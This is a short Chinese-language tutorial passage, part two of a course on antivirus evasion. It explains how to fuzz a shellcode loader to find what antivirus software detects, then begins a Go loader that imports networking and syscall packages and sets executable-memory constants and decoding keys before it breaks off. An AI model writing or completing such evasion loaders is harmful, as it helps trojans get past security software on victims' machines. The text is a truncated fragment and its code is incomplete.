免杀基础教学（下卷）

文章首发于火线Zone社区（https://zone.huoxian.cn/）通过，免杀基础教学（上卷）相信大家已经对免杀有了基本的了解，下卷我们继续讲Fuzz Loader源码。0x05 Fuzz Loader源码如何Fuzz 出loader被查杀的点，在写免杀时尤为重要，因为你不知道问题出在哪里，就没办法解决问题。在fuzz时，要注意我们的木马是静态被杀还是运行时被杀，这有助于我们更快的锁定查杀点。下面讲一下如何通过loader源码定位杀软查杀的点：静态被杀举下面这一个分离免杀 loader的例子：loader.gopackage mainimport (  "encoding/base64"  "io/ioutil"  "log"  "net/http"  "os"  "syscall"  "unsafe")const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40  KEY_1                  = 58  KEY_2           ………………………………